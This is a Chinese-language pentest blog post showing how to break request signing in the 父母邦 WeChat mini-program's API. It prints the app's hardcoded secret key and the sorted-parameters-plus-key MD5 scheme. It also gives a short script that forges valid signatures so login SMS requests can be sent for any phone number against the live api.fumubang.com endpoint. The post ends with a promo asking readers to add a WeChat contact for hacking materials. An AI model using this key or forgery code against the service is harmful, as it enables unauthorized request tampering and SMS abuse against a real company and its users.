小程式繞過 sign 簽名

合天网安实验室發表於2024-03-20

之前看到了一篇文章【小程式繞過sign簽名思路】之前在做小程式滲透時也遇到了這種情況,但是直接放棄測試了,發現這種思路後,又遇到了這種情況,記錄下過程。

並沒有漏洞分享,僅僅是把小程式也分享出來,方便大家測試學習。

小程式 父母邦親子旅行酒店營地樂園活動。

在登入時驗證碼登入的資料包

POST /wxapp/login/send_messages?format=json HTTP/1.1
Host: api.fumubang.com
Content-Length: 118
Xweb_xhr: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
​
{"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}

image

我們直接修改手機號,重放資料包。

image

提示簽名失敗。

開啟對應的路徑 C:\Users\1\Documents\WeChat Files\Applet

image

將目錄下所有檔案全部刪除 並重新開啟小程式,此時生成的唯一資料夾,就是對應的該小程式的程式碼。

image

對小程式進行反編譯

image

因為有一些依賴於 wx 所以只能提供思路

image

我們看到 sign 的建立流程

image

所以只需要構造滿足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");​ 就好啦。

初期思路是這樣子的

image

但是因為存在 wx 的依賴,無法執行成功,但是加密是在本地處理的,這樣構造應該是不對的。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

柳暗花明

我們加入除錯

image

發現第一個請求的資料包 /wxapp/index/get_kefu_phone 不需要登入就可以訪問到這個介面,同時介面裡也有 sign 引數。

利用微信開發者工具進行模擬操作。

加入斷點

image

繼續步入

image

可以新增欄位 檢視對應的值。

繼續步入

image

該函式首先建立一個空陣列 e​,然後透過 Object.keys(r).sort()​ 獲取物件 r​ 的所有鍵,並進行排序。遍歷排序後的鍵陣列,判斷鍵值是否符合特定條件,並將滿足條件的鍵值對拼接成字串並存入陣列 e​ 中。 最後得到的值是:

scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e

image

返回值為 64d78d749828368851331593fa1e1ceb

image

image

就是對應字串生成的 md5 的值。

我們修改一下資料包

image

傳送成功。

修改手機號的資料包

image

image

將手機號修改後 提示簽名失敗。

phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
a90b19243e471d648d8eb5022d48066c
​
phone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
85a840e3674201f2606b8b65f914b912

image

所以我們把程式碼稍微修改一下

"use strict";
var a = require("./md5.js");
var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988}
i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
console.log(i);

image

成功破解了 sign 簽名,可以傳送任意資料包。

更多網安技能的線上實操練習,請點選這裡>>

相關文章